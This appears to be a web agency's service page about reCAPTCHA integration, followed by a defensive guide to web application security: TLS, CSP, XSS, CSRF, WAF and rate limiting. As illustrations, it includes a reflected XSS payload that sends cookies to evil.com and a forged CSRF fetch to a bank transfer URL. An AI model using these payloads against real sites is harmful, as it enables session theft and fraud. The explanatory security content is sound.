Spam from contact forms drains time and budget. On one project, integrating reCAPTCHA v3 reduced spam registrations by 98% in a week. Google reCAPTCHA is an industry-standard protection, but incorrect configuration kills conversion. Our team with 5+ years of experience provides turnkey reCAPTCHA setup: from version selection to server-side verification. We choose the optimal version and score strategy to minimize spam without losing users.
Problems we solve
A common problem is wrong version selection. On high-traffic sites, v2 Checkbox can reduce conversion by up to 30% due to an extra step. Conversely, on low-traffic sites, v3 may give false positives. We analyze your project's traffic patterns and user behavior to select the best version.
Another issue is improper score tuning. Default thresholds often lead to either high false positives or missed bots. We define an adaptive strategy based on your risk tolerance.
How we do it: technical expertise
We integrate reCAPTCHA across any stack. Our approach includes:
- Registering your domain in Google reCAPTCHA Admin and generating keys.
- Frontend integration using vanilla JS, React, Vue, or Angular.
- Server-side verification using PHP, Node.js, Python, or any backend.
- Configuring score threshold based on your risk tolerance.
- Implementing fallback actions (e.g., show v2 checkbox for suspicious users).
- Testing with real traffic and fine-tuning.
Case study: e-commerce site with 100k monthly visits
We implemented reCAPTCHA v3 with a dynamic score strategy. Spam submissions dropped from 500/week to under 10, while form completion rate improved by 12% due to invisible verification.
Comparison of reCAPTCHA versions
| Feature |
v2 Checkbox |
v2 Invisible |
v3 |
| User interaction |
Yes |
No |
No |
| Detection accuracy |
High |
Medium |
High (adaptive) |
| UX impact |
Noticeable |
Minimal |
Minimal |
| Setup complexity |
Low |
Medium |
High |
| Action flexibility |
None |
None |
Full (custom score) |
Score strategy for v3
| Score |
Interpretation |
Action |
| 0.9–1.0 |
Clearly human |
Allow |
| 0.5–0.9 |
Likely human |
Allow |
| 0.3–0.5 |
Uncertain |
Additional verification (email confirmation) |
| 0.0–0.3 |
Likely bot |
Block or show v2 checkbox |
Step-by-step integration guide for reCAPTCHA v3
- Register your site in Google reCAPTCHA Admin and get
site_key and secret_key.
- Add the API script to your page:
<script src="https://www.google.com/recaptcha/api.js?render=SITE_KEY"></script>.
- Obtain a token on the client side using
grecaptcha.execute on form submit.
- Send the token to your server in a hidden field or via JSON.
- On the server, POST to
https://www.google.com/recaptcha/api/siteverify with parameters secret, response, and optionally remoteip.
- Process the response: check
success and compare score with your threshold.
- Implement actions based on score.
Why server-side verification is critical
Server-side verification is the only guarantee that the token is not forged. Skipping it renders protection useless. Google reCAPTCHA documentation emphasizes this requirement. We always include mandatory verification via siteverify with response analysis.
Integration with React
Install the package: npm install react-google-recaptcha. Use the component with size="invisible" and method executeAsync:
import ReCAPTCHA from 'react-google-recaptcha';
function ContactForm() {
const recaptchaRef = useRef(null);
const handleSubmit = async (e) => {
e.preventDefault();
const token = await recaptchaRef.current.executeAsync();
recaptchaRef.current.reset();
await submitForm({ ...formData, recaptcha_token: token });
};
return (
<form onSubmit={handleSubmit}>
<ReCAPTCHA
ref={recaptchaRef}
sitekey={process.env.REACT_APP_RECAPTCHA_SITE_KEY}
size="invisible"
/>
<button type="submit">Submit</button>
</form>
);
}
Additional recommendations
For server-side verification, use cURL or your HTTP client. Check the `success` field and `score` value. Store `secret_key` in environment variables.
Process and timeline
Our process:
- Requirements gathering and audit of current forms.
- Version selection and key generation.
- Frontend and backend integration.
- Score strategy design and implementation.
- Testing with real traffic and tuning.
- Documentation and handover.
Timeline:
- Basic integration (single form, v3): 4–8 hours.
- Complex setup (multiple forms, adaptive score, fallback): up to 2 days.
Typical mistakes to avoid
- Skipping server-side verification (critical security flaw).
- Using a static score threshold without considering traffic patterns.
- Not handling edge cases like missing or expired token.
- Not testing with real bot traffic.
We include all these checks in our service.
What's included in turnkey setup
- Version selection and domain registration in Google Admin.
- Frontend integration (React, Vue, or any stack).
- Server-side verification on PHP, Node.js, Python, etc.
- Score configuration and action strategy.
- Integration documentation and configuration updates.
- Testing with real data and 30-day guarantee.
Contact us for a cost estimate. Order turnkey reCAPTCHA setup and get a consultation for your project. We guarantee transparency and results.
Web Application Security: HTTPS, CSP, XSS, CSRF, WAF, DDoS Protection
A website breach rarely looks like in movies. More often it's: a bot finds an unprotected /admin/export endpoint, downloads the customer database, and closes the connection. Or: through an outdated WordPress plugin, a web shell is uploaded, and the server starts sending spam. Or quieter: an XSS in a comment field allows stealing admin session cookies, unnoticed for months. We have analyzed dozens of such cases — each vulnerability could have been fixed at the development or audit stage.
Web application security is not a single setting. It's layers of protection, each closing a separate class of attacks. Order an audit — we'll assess the project and deliver a turnkey plan within 2–4 weeks.
How do we ensure comprehensive web application security?
HTTPS and Proper TLS Configuration
HTTPS is the minimum mandatory level. But having an SSL certificate and having a properly configured TLS are different things.
In Nginx/Apache configuration we check:
- Protocols: only TLS 1.2 and TLS 1.3, SSLv3 and TLS 1.0/1.1 are disabled
- Cipher suites: prefer ECDHE (Forward Secrecy), remove NULL, RC4, DES, 3DES
- HSTS (
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — browser will never make insecure requests
- OCSP Stapling — speeds up certificate revocation check
- Redirect 301 from HTTP to HTTPS — both in server config and code (double redirect causes SEO weight loss)
Check: SSL Labs (ssllabs.com/ssltest) should show A or A+. If B, the configuration is weak.
Let's Encrypt + Certbot for production is standard. Automatic renewal via certbot renew in cron. Wildcard certificates for subdomains via DNS-01 challenge.
Content Security Policy: The Most Powerful and Complex Protection
CSP is an HTTP header that tells the browser which sources are allowed to load resources. A properly configured CSP completely blocks most XSS attacks, even if the vulnerability exists in the code.
The problem: breaking the site with an incorrect CSP is easy. default-src 'none' — and fonts, images, JS stop working. So we start with Content-Security-Policy-Report-Only — CSP logs violations but does not block anything. We monitor reports for 2–4 weeks, refine the policy, then switch to enforcement mode.
Example of a real policy for a site with Google Analytics, Google Fonts, and Stripe:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
font-src 'self' https://fonts.gstatic.com;
frame-src https://js.stripe.com;
img-src 'self' data: https://www.google-analytics.com;
connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
report-uri /csp-report;
nonce — a random string generated server-side per request. Inline scripts with the correct nonce are allowed; without nonce, they are blocked. This completely breaks XSS via <script>alert(1)</script>.
'unsafe-inline' in style-src is a compromise for inline styles. It's better to remove it by moving all styles to CSS files, but that requires refactoring.
Why XSS Remains the Most Common Vulnerability?
XSS (Cross-Site Scripting) — injection of JS code through user input. According to OWASP, XSS is in the top 3 web application vulnerabilities. Three types:
| XSS Type |
Example |
Protection |
| Reflected |
/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> |
Output escaping, CSP |
| Stored |
Comment with code saved in database |
Input validation, htmlspecialchars() |
| DOM XSS |
element.innerHTML = location.hash |
Avoid innerHTML, use textContent |
Protection: never insert user input into HTML without escaping. In PHP — htmlspecialchars() with ENT_QUOTES. In Laravel Blade templates — {{ $var }} is safe, {!! $var !!} is dangerous. In React — {variable} is safe, dangerouslySetInnerHTML is dangerous. For Rich Text — use htmlpurifier on PHP or DOMPurify in the browser.
Typical case: an e-commerce site with XSS in a review form
A client contacted us after an attacker stole admin cookies via a product review. We found that the review field was not escaped. We fixed it by adding `htmlspecialchars()` on the server and a Content-Security-Policy with a nonce for scripts. After a rescan — 0 vulnerabilities.
CSRF: Protecting Forms and APIs
CSRF (Cross-Site Request Forgery) — an attacker forces the victim's browser to send a request on their behalf. Example: a user is logged into a bank, opens a malicious page, which makes fetch('https://bank.ru/transfer?to=evil&amount=50000') — if the bank is unprotected, money is transferred.
CSRF tokens — standard protection for forms: the server generates a random token, stores it in the session, and inserts it as a hidden field in the form. On POST request, the token is verified. The attacker does not know the token. Laravel does this automatically with @csrf.
SameSite cookies — modern protection: SameSite=Strict or SameSite=Lax prevents the browser from sending cookies in cross-site requests. Works in all modern browsers.
API without sessions (JWT, Bearer tokens) — CSRF is irrelevant if the token is not stored in a cookie (but in the Authorization header or localStorage). However, localStorage is vulnerable to XSS — so for sensitive data, HttpOnly cookies with SameSite are preferable.
WAF and DDoS Protection
WAF (Web Application Firewall) filters HTTP traffic for attacks: SQL injection, XSS, path traversal, known exploit patterns. Options:
- Cloudflare WAF — cloud-based, OWASP Top 10 rules out of the box, custom rules via expressions. Managed Rules automatically block new threats.
- ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Flexible but requires tuning and monitoring of false positives.
- AWS WAF — for infrastructure on AWS, integrates with CloudFront and ALB.
DDoS protection. Cloudflare at L3/L4/L7 is the de facto standard for most sites. Automatic mitigation of volumetric attacks, Under Attack Mode during active attacks. For critical infrastructure — Cloudflare Magic Transit or specialized solutions (Qrator, StormWall for the Russian market).
Rate Limiting at the application level — an additional layer. Laravel ThrottleRequests middleware: 60 requests per minute per IP for general endpoints, 5 for /login and /password/reset. Redis as a counter store — mandatory for horizontally scalable systems (otherwise limits are not synchronized between servers).
Other Mandatory Measures
Security headers. Besides CSP: X-Frame-Options: DENY (clickjacking protection), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (restrict browser API access: camera, microphone, geolocation).
SQL injection. Prepared statements everywhere. No concatenation of user input into SQL strings. ORM (Eloquent, Doctrine) protects by default. $wpdb->prepare() in WordPress is mandatory.
Dependency updates. composer audit and npm audit in CI/CD pipeline. Dependabot or Renovate for automatic PRs with updates. Critical CVEs — patch within 24 hours.
Secrets and configuration. .env — never in Git. Secrets in production — via CI/CD environment variables (GitHub Secrets, GitLab CI Variables) or HashiCorp Vault. Leak detection: git-secrets, truffleHog in pre-commit hooks.
How We Work
-
Audit — code scanning, configuration review, dependency analysis, manual business logic verification.
-
Planning — vulnerability remediation plan, stack selection (CSP, WAF, rate limiting).
-
Implementation — TLS setup, CSP configuration, headers, Rate Limiting, WAF.
-
Testing — re-penetration test, load testing, false positive check.
-
Deployment and Monitoring — enable production CSP, set up alerts, train the team.
What's Included
- Report with found vulnerabilities and recommendations (PDF + code snippets)
- Ready TLS configuration (Nginx/Apache)
- CSP policy with Report-Only and production versions
- WAF and Rate Limiting setup
- Dependency update plan
- Access to monitoring tools (Sentry, Datadog)
- 30 days of post-audit support (consultations, fixes)
Timeline and Cost
| Type of Work |
Duration |
Cost |
| Security audit + hardening (headers, TLS, updates) |
1–2 weeks |
Custom quote |
| CSP implementation (Report-Only → production) |
2–4 weeks |
Custom quote |
| WAF + Rate Limiting + DDoS protection setup |
1–2 weeks |
Custom quote |
| Comprehensive security review + penetration testing |
3–6 weeks |
Custom quote |
The budget is calculated individually — contact us for a project evaluation.